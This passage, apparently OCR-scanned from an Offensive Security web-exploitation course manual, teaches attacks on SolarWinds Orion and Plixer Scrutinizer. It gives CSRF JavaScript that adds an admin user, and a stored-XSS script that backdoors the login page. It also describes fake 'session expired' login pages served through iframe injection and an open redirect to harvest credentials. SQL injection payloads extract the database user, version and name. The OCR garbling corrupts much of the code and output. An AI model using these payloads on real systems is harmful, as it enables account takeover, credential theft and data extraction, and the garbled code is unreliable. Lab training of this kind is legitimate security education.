. __EVENTTARGET
__EVENTARGUMENT

__VIEWSTATE

| ctiooR2 4ctl00%24ctl00%24BodyContent%24ContentPlaceHolder 1%24adminContentPlaceholder%24 createWizard%24CreateUserStepContainer%24UserName "

.‘al00%24ctloo9$24ctl00%24nodyContenﬂGMContentHaceHo!der1%24adminContentPlaceholder%24createWIzard%ZGCrea(eUserSlepContaineﬁE24Password ,..

cti00%24ctl00%24cti00%24BodyContent%24ContentPlaceHolder 1%24adminC Placeholder%24createWizard¥%24CreateUserStepContainer¥%24Confirm... hax ]

__ASYNCPOST “true

Figure 63 - The Necessary POST Parameters for Adding a User

2.4.3.1 Course Work

Exercise: Hopeless Quest

o Trytouse a normal CSRF attack in order to add this user. Re-use JavaScript code from our previous
exercises.
o Can you see why this is failing? Look for resulting error messages and point them out to your

instructors.

The code we used in our attempt looked similar to the following:

function finalCall(viewstate value)
{
var http = new XMLHttpRequest();
var url = "/Orion/Admin/Accounts/Add/OrionAccount.aspx?AccountType=Orion";
var paraml =
"ct100%24ct100%24ct100%24BodyContent%24ScriptManagerPlaceHolder%24MasterScriptManage
r=ct100%24ct100%$24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholde
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r%24UpdatePanell%7Cct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24admin
ContentPlaceholder%24createWizard%24__CustomNav0%24ImageButtonl™;

var param2 =
"__ EVENTTARGET=ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminCont
entPlaceholder%24createWizard%24_ CustomNav0%24ImageButtonl”;

var param3 = " _ EVENTARGUMENT=";

var param4 = "_ VIEWSTATE=" + viewstate value;

var paramb =
"ctl00%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%$24createWizard%24CreateUserStepContainer%$24UserName=hacker";

var param6 =
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%$24createWizard%24CreateUserStepContainer%24Password=hacker";

var param7 =
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%$24createWizard%24CreateUserStepContainer%24ConfirmPassword=hacker";

var param8 = "__ASYNCPOST=true";

var param9 = "=";

var params = paraml + "&" + param2 + "&" + param3 + "&" + param4 + "&" + paramb
+ "&" + param6 + "&" + param7 + "&" + param8 + "&" + param9;

http.open ("POST", url, true);

http.setRequestHeader ("Content-type", "application/x-www-form-urlencoded") ;

http.setRequestHeader ("Content-length", params.length);

http.setRequestHeader ("Connection", "close");

http.send (params) ;
}

var viewit=document.getElementById (' VIEWSTATE').value;
alert ("Posting to Adduser");

finalCall (viewit);

alert ("CURRENT VIEWSTATE IS - " + viewit);

Figure 64 - Our Code to Attempt to Add a User via CSRF

Although the JavaScript works as expected, we get no obvious results. Firebug comes to the rescue and

shows us the following error. Our post request was met with an HTTP 500 error.

W POST OrionAccount.aspx?Acce 500 Internal Server Error  172.16.254.160 8787 5.9%B
Params Headers Post Response HTML

Response Headers

Cache-Control no-cache
Connection close
Content-Type text/ntml; charset=utf-8
Date Sun, 29 Apr 2012 17:30:01 GMT
Expires -1
Pragma no-cache
Server Microsoft-IIS/6.0
X-AspNet-Version 2.0.50727
X-Powered-By ASP.NET
X-UA-Compatible IE=7

Figure 65 - The CSRF Attempt is Met with an HTTP 500 Error

Black Hat USA 2016 Copyright © 2016 Offensive Security Ltd. All rights reserved. Page 64 of 174



ADVANCED WEB ATTACKS AND EXPLOITATION

To get a better view of the HTTP 500 error, we place the following code just above the http.send(params)

section of our code. This will open a pop-up window, which will contain the error page.

http.onreadystatechange = function() {
if (http.readyState == 4) {
popup=window.open('','"', 'height=200,width=150");
popup.document.write (http.responseText) ;

Figure 66 - Code Maodification to Better See the 500 Error

Once we refresh the browser, we should get a pop-up window revealing more useful information.

- Orn ebs‘ite Eror - M Firefox :

127.0.0. 1:878 7/Crion MetPerfMonNodeDetails, aspxiNetObject=N:2

ADMIN (LOGOUT} Seitings Help

-
solarwinds 7

Unexpected Website Error

Validation of viewstate MAC failed. If this application is hosted
by a Weh Farm or cluster. ensure that <machineKey>
configuration specifies the same validationKey and validation
algorithm. AutoGenerate cannot be used in a cluster

| SAVE ERROR REPORT LOCALLY | | RETURN TO HOME |

For more troubleshooting help. see the Solar\Winds Knowledge
Base, or contact support.

 Read 127.0.0.1

Figure 67 - The VIEWSTATE Validation Failed

As we can see in Figure 19 above, VIEWSTATE validation failed, thus rendering our attack useless.
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2.4.4 Trying Harder

In theory, we should be able to bypass this protection. After all, “if the browser can do it, so should we”.
If we were able to extract the VIEWSTATE hash value of the page where users can be added to the system
and then in turn, use that value as the VIEWSTATE hash value of our CSRF, the attack should work. Or at
least, that's the theory.

To test this, we can start by using the following JavaScript payload, which will execute the following:

o Print out the VIEWSTATE hash of the currently XSS affected page.
o Access the page where users can be added to the system via a GET request.

o Read the VIEWSTATE hash value from that page, and print it.

function getHtmlBody (url, ref)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open ('GET', url, false);
xmlHttp.send (null) ;
var results = xmlHttp.responseText;
var doc = document.implementation.createHTMLDocument ('");
doc.documentElement.innerHTML = results;
return(doc) ;

}

function getViewState (doc)
{

return(doc.getElementById (" __ VIEWSTATE")) ;
}

// Get the CURRENT view-state
alert ("This is the VIEWSTATE hash for the current page:
"+getViewState (document) .value) ;

// Get the REMOTE view-state

var docl =

getHtmlBody ("/Orion/Admin/Accounts/Add/OrionAccount.aspx?AccountType=Orion") ;
alert ("This is the VIEWSTATE hash for the ADD USER page:

"+getViewState (docl) .value);

Figure 68 - The Modified JavaScript Payload

By now, you should be getting an idea of where we’re going with this. Although we can’t use the current

VIEWSTATE hash, we can extract the target page’s hash and then use it to POST data to that page.

2.4.4.1 Course Work

Exercise: | can haz Admin?
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o Tryto use all the building blocks we have provided in order to simply add a user to the SolarWinds
system.
o Once you have added a user, attempt to extend the CSRF attack to also include this user into the

administrative group of the SolarWinds web application.
2.4.5 Backdooring the Login Page

While looking for additional functionality to abuse using our CSRF attack, we were unable to find any
additional useful attack vectors, except perhaps one. Going into Settings -> Web Console Settings reveals

a page similar to the following:

Admin » Setlings »

Web Console Settings

Session Timeout (o5 | i The numi
Windows Account Legin | Disable automatic login  # | :; a user
“ user

Page Refresh s 1 minutes Each pag
Site Logo URL ' INetPerfMon/images/Solarwinds.Logo.gif You can)
Set this t

Site Login Text Welcome This text

\\

L,
-,
N

Figure 69 - The Orion Web Console Settings

The site login text has the following description: “This text will be displayed on the login page where it will
be seen by all users. HTML is OK. Maximum length is 3500 characters”. With a bit of testing, we find that
this text field also accepts <script> tags, meaning we could introduce our own malicious JavaScript into

the login page, before authentication takes place.
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2.4.5.1 Course Work

Exercise: Backdoor Galore

o Try to use all the building blocks we have provided in order to change the SolarWinds Login

Welcome message to include an alert containing “PWND”, using a remote JavaScript include.

The resulting script should be similar to the following.

function getCookie (c_name)

{
var 1i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {

x=ARRcookies[i].substr (0, ARRcookies[i].indexOf ("="));
y=ARRcookies[i].substr (ARRcookies[i].indexOf ("=")+1);
x=x.replace (/"\s+|\s+$/g,"");

if (x==c_name) {
return unescape (y) ;

}
}

function setCookie (c_name,value,exdays)
{
var exdate=new Date();
exdate.setDate (exdate.getDate () + exdays):

var c_value=escape (value) + ((exdays==null) ? "" : ";expires=" +
exdate.toUTCString());
document.cookie=c_name + "=" + c_value;

}

function postGlobalXss(viewState, javascript) {
var http = new XMLHttpRequest():
var url = "/Orion/Admin/Settings.aspx";

var params =

" EVENTTARGET=ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminCont
entPlaceholder%24imgbtnSubmit" + "&" + " _EVENTARGUMENT=" + "&" + " VIEWSTATE=" +
encodeURIComponent (viewState) + "&" +
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%24tbSessionTimeout=25" + "&" +
"ctl00%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%24ddlWindowsAccountLogin=False" + "&" +
"ctl00%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
$24tbAutoRefresh=5" + "&" +
"ctl100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%24tbSiteLogo=%2FNetPerfMon%2Fimages%$2FSolarWinds.Logo.gif" + "&" +
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%24tbSiteLloginText=" + encodeURIComponent (javascript) + "&" +
"ctl00%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%24tbHelpServer=http%3A%2F%2Fwww.SolarWinds.com" + "&" +
"ct1l00%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%$24ddlRollupWorstStatus=False" + "&" +
"ctl00%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%$24dd1lNodeChildStatusParticipationRule=*" + "&" +
"ct1l00%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl1%24adminContentPlaceholder
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$24dd1NodeChildStatusDisplayMode=NoBlink" + "&" +
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%$24tbChartAspect=0.620000004768372" + "&" +
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
$24tbThumbnailAspect=0.600000023841858" + "&" +
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%24tbPercentile=95" + "&" +
"ct100%24ct100%24ct100%24BodyContent%24ContentPlaceHolderl%24adminContentPlaceholder
%$24ddlFontSize=1";

http.open ("POST", url, false);

http.setRequestHeader ("Content-type", "application/x-www-form-urlencoded") ;
http.setRequestHeader ("Content-length", params.length);
http.setRequestHeader ("Connection", "close");

http.send(params) ;

var response = http.responseText;

var doc = document.implementation.createHTMLDocument('");
doc.documentElement.innerHTML = response;

return (doc) ;

}

function getHtmlBody (url, ref) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open ('GET', url, false):;
xmlHttp.send(null);
var results = xmlHttp.responseText;
var doc = document.implementation.createHTMLDocument ('');
doc.documentElement.innerHTML = results;
return (doc) ;

}

function getViewState (doc) {
return (doc.getElementById (" __ VIEWSTATE"));
}

if (getCookie("ol") == null) {
// The javascript we inject at the main-page
var javascript = "I WIN!";

// Get the current view-state
var docl = getHtmlBody ("/Orion/Admin/Settings.aspx");

// Set the global xss
postGlobalXss (getViewState (docl) .value, Jjavascript);

// Set the cookie to avoid duplicated attacks
setCookie("ol", 1, "");

Figure 70 - Our Final JS Attack Code
Extra Mile Exercise
o See if you can come up with an interesting way to backdoor the login page. Use your favorite XSS

or clickjacking framework to do the job. If you are adventurous, try to come up with something

on your own for extra bonus points.
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2.5 Fake it until you make it! - iFrame Injections and URL Redirects
Sometimes, an attacker doesn't even need a XSS scripting vulnerability at all. Let’s say that you are

targeting users on an application and you have the ability to execute arbitrary code, if you could only

authenticate as a user.

The application is locked down from CSRF attacks (using tokens) and there is not a single XSS vulnerability

in the application. We have seen it before, with OpenCart being one such example.

We then need to think strategically about how we are going to approach one such target. An idea would
be to use iframe injection or open redirect vulnerabilities to present fake login pages in order to harvest
credentials. This can be effective if we are on a red team engagement and want to gather credentials to

try and attack several interfaces.
2.5.11am in you - iframe Injection

By browsing the application, we find an interesting iframe injection attack:

Btp: //[target]:8787/Orion/External.aspx?Title=phrack&URL=http://www.phrack.org/

Figure 71 ~ Embedding an External Frame

When viewing the URL, we see:

“phrack - Mozilla Firefox

¢ phrack X \d

€ > & 192.168.100.10 Tt hracks ht ; e QX sesre T8 9 3 @

ADMI (LOGOUT)

g
solarwinds ¥

1 product in svaluation. »Detais
| HETWORK VIRTUALIZATION
MPM Summary  Hetwork Jop 10 Wireless  VSANs - Ovamview

[Hews ][ Paper Feed ] [issues 1[ Authors ] [ Archives ] [ Contact]

Figure 72 ~ Injecting arbitrary websites into the page

Now, when viewing the source code of the browser, we see:
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<hl style="display:none"></hl>
" jd="external® src="http://www.phrack.org/" width="100%" frameborder="0"></iframe>

Figure 73 — The injected website via page source

A clever attack might be to generate a fake login, which can be taken directly from the legitimate login
page. This will be presented to users as a “re-login” session expired type of thing. They would likely go
and enter their credentials whereby you would harvest them, and redirect them to the login again,

apparently showing that they entered the “wrong” password. Sneaky right?

session expired - Mozilla Firefox

solarwinds v
1 product in evaluation. o=
HETWORK VIRTUARLIZATION
HPM Summary Network Wirel VSANs

5

solarwinds 7

1 producti on. » Detall

User name:

Password:

You can log in with the usernams admin and no password.
To change the Admin password after you fog in, click
Settings > Manage Accounts.

Fantbfn amalian én Fasein

S(Z?-lx"v‘s’h‘&s}%‘ > n Core 201122 HPR B2 Pan 120@ ¢ 1LAF & Fager
Figure 73 - The admin being tricked into submitting credentials to the attacker — note the top right, where the admin is still
logged in!
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2.5.1.1 Course Work
Exercise: Logging all the things

o Create the described attack scenario and setup a fake login page that displays the text “Session
Expired”. Harvest a set of credentials and redirect the victim to the real login page. Try to make

the login page as close to the real login page as possible.
2.5.2 Redirection - Open URL Redirect

Upon browsing the application further, we find the following URL:

http://[target]:8787/0Orion/Admin/CustomizeView.aspx?ViewID=1&ReturnTo=aHROcDovLzE5Mi
4xNjguMTAWLIEwOjg30DcvT3Ipb24vU3VitbWFyeVZpZXcuYXNweA==

Figure 74 — A suspicious looking uri

When decoding the base64 string, we notice that it becomes:

Iittp: //192.168.100.10:8787/0Orion/SummaryView.aspx |

Figure 75 — The decoded string

What this essentially means, is that once an administrator has finished on that particular view (1) and

clicks 'done' on the page, the administrator will be redirected to an attacker controlled domain.

The wonderful thing about this vulnerability from an attacker’s perspective is that the target domain is
encoded in base64 and obfuscated from a typical user. It would appear to a regular user a harmless

parameter.

We can redirect a victim user, again, to a fake login page that says “session expired” on an attacker
controlled server. The victim would naturally re-enter their credentials (which are stolen by the attacker)
and then redirected to the real login page. The user is likely to assume that they entered their password

incorrectly.
Questions:
o What other attacks might be possible from this type of vulnerability?

o Does your vulnerability scanner detect it? Why or why not might a vulnerability scanner miss it?
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2.6 Further Reading
o http://en.wikipedia.org/wiki/Framekiller
o http://www.securiteam.com/exploits/5SCP0815S0A.html
o http://blog.stevensanderson.com/2008/09/01/prevent-cross-site-request-forgery-csrf-using-
aspnet-mvcs-antiforgerytoken-helper/
o http://msdn.microsoft.com/en-us/library/ms972969.aspx
o http://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf
o http://ruby.about.com/od/security/tp/countermeasures.htm
o http://ruby.about.com/od/security/a/analysiscode_4.htm
o https://docs.djangoproject.com/en/dev/ref/contrib/csrf/
o http://blog.guya.net/2008/09/14/encapsulating-csrf-attacks-inside-massively-distributed-flash-

movies-real-world-example/
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3. Plixer Scrutinizer sFlow Case Studies

These exercises will get you warmed up for the next SQL injection modules to come. Use this opportunity

to brush up on your SQL queries, test different queries, and sharpen your tools in general.

3.1 Regular SQL Injection

3.1.1 Getting Started

Boot up the VMware image containing the Plixer Scrutinizer and sFlow Analyzer installation version 9.01.

Run the installer, accepting all the defaults. Open the Windows Services console (services.msc) and enable

the plixer_apache and plixer_mysql services.

1 | »]

i

Action View Help -
¢ = |0 FEHB|RPE] > n 0w
% Services (Local [ Name Description | Sta... /| StartupT =
S NT LM Security Sup... Providess... Started Manual
s plixer_apache Apache/2.... Started
% plixer_mysgl MySQL Ser... Started Automati—
%Plug and Play Enables a c... Started

%, Extended }\ Standard /

|

Figure 76 - Enabling the plixer_apache and plixer_mysgl Services
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Browse to the login page of the application and log in using the following credentials:

3.1.2 identifying the Vulnerability

Scrutinizer has suffered from web-based vulnerabilities in the past as can be seen in the advisory by
Trustwave®. A quick look at the application shows that is it mainly composed of PerlApp compiled Perl

CGl scripts, a few PHP scripts, and libraries.

Most of the CGI interaction requires authentication (although we see from the advisory that it wasn’t

implemented very well).

Our best bet for a “quick kill” would be to look for unauthenticated vulnerabilities, possibly residing in the
PHP files. A quick search for all the PHP files present in Scrutinizer reveals a very limited list as seen in the

following output.

root@kali:sources/html/# find . -name *.php
./html/d4d/alarms.php
./html/d4d/config.inc.php
./html/d4d/contextMenu.php
./html/d4d/database.inc.php
./html/d4d/exporters.php
./html/d4d/settings.php
./html/d4d/statusFilter.php
./html/flash/export.php
./html/jscalendar/calendar.php
./html/jscalendar/test.php

Figure 77 - Searching for PHP Files in the Scrutinizer Application

Looking at statusFilter.php, we notice the following code inside the protList function.

FHEE R R R R R R R R R R R R R R R A R R R R R R R R R R R R R R
## FUNCTIONS

function protList ($db) {
$protOut = '';

// Build Query
$str $_REQUEST['q'];
$1lim $ REQUEST['limit'];

= https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2012-008/?fid=3789
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Squery = "SELECT name, ip_protocol FROM plixer.ip protocol where name like
" o $str."%' limit 10 ";

// Perform Query
Sresult = $db->query (Squery) ;

Figure 78 - Interesting Code in the protlist Function of statusFilter.php

The protList function will be called only if the following snippet of code is satisfied.

// Construct & return JSON
if ($_REQUEST['commonJson'] == 'protList'){
echo protList ($db);

Figure 79 - The Code that Needs to be Satisfied Prior to Calling protiist

Browsing to this page while satisfying the condition for the execution of the protList function would result

in a URL similar to that in Figure 22.

HOPOPT (O}EO ICMP (1)1 IGMP (2)?2 GGP (3)!3 IP (4)l4 ST (5)I5 TCP (6)i6 CBT (7)1? EGF (8)I8 IGP (9)%9

Figure 80 - Browsing to the Link that will Ensure protList is Called

Now we can trigger the SQL injection vulnerability by introducing the vulnerable q parameter as follows.

Database Error

Message: MySQL Query fail: SELECT name, ip_protocol FROM plixer.ip_protocol where name like
"%’ limit 10

MySQL Error:| You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '%' limit 10" at line 1

Date: ’I'hursday, May 3,2012 at 1:03:27 PM

Script:

No Results Foundin
Figure 81 - Triggering the SQL Injection Vulnerability

Fortunately, we are greeted with a verbose MySQL debug message, which makes our life that much easier.
3.1.3 SQL Injection 101

Although the issue is well known, SQL injection is still one of the most common vulnerabilities in the wild.
When successfully exploited, the impact can range from information disclosure to the full compromise of

target systems.
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3.1.3.1 Types of SQL Injection Attacks
All SQL injection issues share the fundamental property of exposing the SQL processor to untrusted user
supplied data. The best categorization takes into account two main aspects of the vulnerability, the first

being the entry point method and the second the way the output is presented to the attacker.

The first categorization entails the way the SQL injection is triggered, generally represented by the

following three categories:

o First Order: malicious SQL statements are directly injected in the query and immediately
executed;

o Second Order: the payload, returned by a first well-escaped SQL query, is memorized in a local
storage, like a temporary variable, file, or table record, and is then retrieved and used by a
subsequent vulnerable SQL query, triggering the injection;

o Lateral: is the most complex injection method. The vulnerable query or stored procedure is
attacked by environmental components that were incorrectly considered safe by the developer

and not through its parameters.

The above categories define only one aspect of the injection and further detail is given by the method

through which data can be perceived by the attacker:

o In-Band: the same channel is used to send the attack and get the results;
o Out-of-Band: data is retrieved using a different channel;
o Inferential: no data is returned to the attacker and the query result is deduced from the websites

behavior, for example by using timeouts.
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This leads to the following table that synthesizes the nine basic possible SQL injection types:

Output Method
In-Band = | OutofBand | Inferential
: Easy to detect and Easy to detect b.Ut
A . : . harder to exploit. Easy to detect but slow
First Order exploit. Fast data o :
. Egress filtering can to exploit.
- retrieval. h s
= amper exploitation.
E L - |Hard to detect without | Harder to detect as Harder to detect but
- - Second Order ' |source code oralarge the page does not the page will be
..E ‘ amount of tests. reflect data. altered by the queries.
w Very hard to detect .
: “|Very hard to detect but |and harder to exploit if Attacks are only likely
Lateral . o to succeed after lab
" easy to exploit. egress filtering is .
; . tests and analysis.
involved.

Figure 82 - X Axis: Ease of Exploitation, Y Axis: Ease of Discovery

3.3.1.1 First Order Attack
In First Order SQL Injections, the attacker has the ability to directly alter the query that is immediately

executed. No tricks are required to get the user input into the SQL statement and these attacks are

possible because of poor programming practice.
There are three main ways to exploit first order SQL injections:

o Short-circuit the query to render it a tautology (an always true or false sentence) and obtain all
the data in the already-selected table. This can be performed by injecting something like “OR
1=1";

o Use a JOIN (less common) or UNION (preferred way) statement to append arbitrary data to the

returned dataset;

o Inject a sub-query (a secondary query between round parenthesis) into the existing statement.

3.3.1.2 Second Order Attack
Second order SQL injections differs from first order as the entry point is not directly reachable by the

attacker but involves a two stage attack, making the discovery of such issues more complicated, especially

in black-box penetration tests.

An attacker has to find a way to reach the vulnerable SQL query by tampering with the output of another
operation, for example the result of another query or a different persistent storage, which is considered

as a trusted source and thus not sanitized, escaped, or parameterized.
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3.3.1.3 Lateral Injection

Lateral Injections were first discussed in a paper titled “Lateral SQL Injection: A new Class of Vulnerability
in Oracle”®* by Oracle expert David Litchfield early in 2008. This novel attack technique takes some
standard concepts already known in vulnerability exploitation and applies them to SQL Injection: altering

dependencies in order to take over the running component without directly attacking it.

Litchfield demonstrated that an attacker with access to Oracle's PL/SQL console can manipulate implicit
functions like TO_CHAR() by changing environment variables like NLS_DATE_FORMAT or
NLS_NUMERIC_CHARACTERS that define the format of dates and numbers data-types.

Thanks to this concept and the unsafe handling of otherwise considered safe values, it's possible to take

over PL/SQL procedures without user inputs.

3.3.1.4 In-Band or Inbound

While the first three SQL injection categories are about the entry point, the next three are about the exit
point: how the data is returned to the attacker. In-band or Inbound are the easiest to exploit, because the
result of the injected SQL statement is included in the response from the web server as it’s used as

content.

The most common type of inbound exploitation is something already seen in the previous section and it

entails an application vulnerable to UNION-based injections.

3.3.1.5 Out of Band

A SQL injection is Out of Band (OOB) when the requested result cannot be retrieved in the web server
response and must be recovered through another communication channel. Injections of this type are
more difficult to exploit and are less reliable because they are influenced by external deployment and
architecture factors. There are many side channels, but the most common are the network and the file-

system.

This exploitation technique can even be used in SQLi of less complexity, like In-band ones, when there are

egress web application firewalls (for example ModSecurity) that check a page's output for specific

*_http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf
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keywords. Nevertheless, the simplest technique tends to be used and OOB injection is typically a sort of

last resort for attackers.

Out of band exploitation methods can also be used to exploit 2™ order SQL injection as the result of the

injected code can be directly retrieved through the side channel.

The main advantage of this sort of technique compared to Inference/Blind is the ability to recover large
datasets with few requests, as in In-Bands, as opposed to the former that tends to use many requests to

recover a single character of information.

Not all OOB techniques are usable as they rely greatly on the database type and configuration. When

properly hardened, a database server will not be exploitable through most OOB techniques.

3.3.1.6 Inferential or Inference
In Inferential or Inference attacks, also known as Blind SQL Injections, the result of the query is deduced
from the truthfulness of a known action. This injection is by far the most complex to exploit and the least

performing.

A vulnerability of this kind is present when the result of the SQL statement is not used in the construction
of the web page, but is used to perform a side action. For this reason, its identification is not simple as the

attacker has no direct means of knowing the output, but can deduce it from a particular behavior.

To understand if the injected statement is being executed, the attacker may try to inject functions that
require a long time to be computed. If the page takes a long time to load, then he is able to draw the

conclusion that the action has in fact been executed.

In MySQL the SLEEP() function can be used in this way:

LSELECT IF(1=1,SLEEP (5),1)

Figure 83 - Using the SLEEP Function in MySQL

This will delay the page load by 5 seconds, a noticeable effect even if no data is displayed in the page. To
actually be able to pull data out of the database, a TRUE/FALSE question has to be formulated. If the
answer is true, the database will execute a particular action, for example a sleep, if it is false the page will

immediately load.
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For example, to determine the username under which the current query is running in a MySQL database,

the following query can be used:

SELECT IF (SUBSTRING (USER(),1,4)="'root',SLEEP(5),1) J
Figure 84 - Inference Based on SLEEP in MySQL

If the first 4 characters of the user string are “root”, then the page will take 5 seconds to load, otherwise
it will load immediately. Obviously, if the page does load immediately (because the string is not root), then
the brute-force will continue. In real life attacks, direct matches are not used and strings will be brute-

forced character by character.

Typically, using the ‘sleep()’ function would be a last resort, since most often, SQL Injection is within a
statement that returns 0 or more rows (selected from the database). This often gives us a page difference

using a unique string to determine the true/false results.
3.1.4 Enumerating the Database

Now that we have located an unauthenticated vulnerability, there are several approaches we can take in
order to exploit it. Remember that before attempting to exploit an SQL injection vulnerability, we usually
need to have a better understanding of the underlying database, tables, and column structures in order

to succeed in our attack. In this case, we have two ways of learning said database structure:

o Aswe have access to a copy of the vulnerable software, we are able to simply log into the database
and learn its structure via direct queries.
o We could attempt to enumerate the database structure through inspection of the verbose error

messages that the affected page so kindly provides.

We will enumerate the MySQL database for its underlying table structure via “Error Based Messages” and

then we will verify our findings by querying the database directly on the victim machine.

Seeing that the vulnerable query is:

SELECT name, ip protocol FROM plixer.ip_protocol where name like 'AAA'S' limit 10

Figure 85 - The Vulnerable SQL Query
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We can amend this query to divulge the number of columns in the current table by attempting to sort the

results of the SELECT query by varying column numbers. The resultant queries would look similar to the

following.

limit 10

limit 10

limit 10

SELECT name, ip_protocol FROM plixer.ip protocol where name like '' order by 1-- %
SELECT name, ip_protocol FROM plixer.ip protocol where name like '' order by 2-- %

SELECT name, ip_protocol FROM plixer.ip protocol where name like '' order by -- %'

6'

Figure 86 - Trying to Determine the Number of Columns

Note that each query has a space on the end to ensure that the query becomes valid. Can you explain

what these queries do?

To ease the testing process, we can use the burp proxy tool as shown in the output below.

Request

Params ] Headers T Hex ]

Response

J T Headers T Hex ]

GET /d4d/statusFilter.php?commonJson=protList&g='+order+by+lfF—+

B8TTP/1.1
Bost: 172.16.175.145
Connection: close

Reguest

Jé&gy\g,g Params T Headers T Hex 1

i 1P

BTTP/1.1 200 OK

Date: Tue, 03 May 2016 19:59:39 GMT
Server: Apache

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding
Content-Length: 20

Connection: close

Content-Type: text/html

No Results Found|\n

Figure 87 — Searching for columns using order by

Response

wﬁq Headers T Hex ]

et

GET /d4d/statusFilter.php?commonJson=protList&q='+order+by+2F—+

HTTP/1.1
Host: 172.16.175.145
Connection: close

P/1.1 200 OK

Date: Tue, 03 May 2016 20:01:54 GMT
Server: Apache

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding
Content-Length: 20

Connection: close

Content-Type: text/html

No Results Found|\n

Figure 88 — Searching for columns using order by
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_[[Raw | params | eaders | Hex |

Hex | HTML Rend_e;.]
BYTP/1.1 200 OK

Date: Tue, 03 May 2016 20:02:01 GMT
Server: Apache
o

GET /dm/nnu-run: P atege " yoiomv e
BYTP/ y
Rogt : 172 16.175.145
Connocticn: close

ContentoLength: 827
Connection: close
Contont-Typa: text/htal

<table align="contor’ bordor="1"

plixor.ip_protocol wbore nome liko **

r><td aligne’right” valigns"t
<td aligns”cight Datec</td>eid
td align="right”>Soript:</td

cur

href="/ddd/st
3-—b</ar</td>e s tE>

</tabie>
No Results Pound|\n

«tr><th colspan=I>Database Brror«/th></wi>
<cx><td align="right’ valign="top'>Nessage:</td><td><
order by 3-- V' limit 20 </

ing="0" stylo='backa d:whito;color:black;waduhi80%; >

QL Quory foil:</b> IBLECT nomo, ip_protoaol PROX

lumn ‘3" in ‘order olouse’</td></tr>

s
\unlner php?commonJoon=protListiq= 0014'!'!:‘/* --+">/444/3totusPilter.php

grr L3
rund-y “Noy 3, 2016 at §:02:01 PHw/ran<rtr

isthqe'

Figure 89 — A database error, indicating that the previous number of columns is correct

From these results, we can deduce that the plixer.ip_protocol table has two columns. This of course is not

necessary, since we can see the full query when causing an error. However, now that we have the number

of columns in the current table, we can manipulate the MySQL server into outputting interesting data to

us. For example, to extract the current database user, we would make the following query.

Reguest

_J ay SJ Params I Headers THex ]

Response

_g IHeaders THex ]

GET /d4d/statusFilter. php?commoanon—protLlst&q~ +unlon+select+user() 1--+
HTTP/1.1

Host: 172.16.175.145

Connection: close

e

HTTP/1.1 200 OK

Date: Tue, 03 May 2016 20:07:50 GMT
Server: Apache

X-Powered-By: PBP/5.3.3

Vary: Accept-Encoding
Content-Length: 29

Connection: close

Content-Type: text/html

sorutinizer@localhost (1)]|1

Figure 90 - Acquiring the Current Database Username

Extracting the MySQL database version:

Request

Headers

4d/statusFilter. php7commoanon=protL15tEq= +unian+select+verslon() le=t
ETTP/I 1

Bost: 172.16.175.145

Connection: close

Response

& g% Headers

BTTP/1.1 200 OK

Date:

Tue, 03 May 2016 20:08:32 GMT

Server: Apache
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Length: 44
Connection: close
Content-Type: text/html

5.1.60-enterprise-commercial-classic (1)[1

Figure 91 - Retrieving the MySQL Database Version

Extracting the current database name:
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v WEONIE

Request

Response

_Raw. | Params

Headers | Hex Headers

BTTP/1.1 200 OK

Date: Tue, 03 May 2016 20:09:16 GMT
Server: Apache

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding
Content-Length: 14

Connection: close

Content-Type: text/html

GET /d4d/statusFilter.php?commonJson=protList&g= +union+select+database(),l--+
BTTP/1.1

Bost: 172.16.175.145
Connection: close

plixer (1)]1

Figure 92 - Getting the Name of the Current Database

We will notice that we can perform this in a single request, of course

Request Response

Raw Headers Hex]

BTTP/1.1 200 OK
/dld/status?xlter.php?commoanon=prothst&q='kunion+eelect+con Date: Tue, 03 May 2016 20:11:37 GMT
cat(user(),0x3a,version(),0x3a,database()),1--+ BTTP/1.1 Server: Apache
Bost: 172.16.175.145 X-Powered-By: PHP/5.3.3
Connection: close Vary: Accept-Encoding

Content-Length: 73

Connection: close

Content-Type: text/html

GET

scrutinizorelocalhast:s.1.So-oneorpriso-uommo:cinl-clnssia:plixoz (€3]}

Figure 93 - Pulling basic database metadata out of the database in a single request

As we notice the MySQL version is higher than 5, we can try to dump all of the table names from the
MySQL information_schema as shown below. This is a rigorous process, so we will demonstrate how to
do this process manually, followed by using darkMySQLi.py.

RQQUGSK RGSPOHSQ
_[ a] Params T Headers T Hex ] THeaders THex ]
GET A BTTP/1.1 200 OK
/d4d/statusFilter.php?commonJson=protList&g='+union+select+tab . Date: Tue, 03 May 2016 20:27:01 GMT
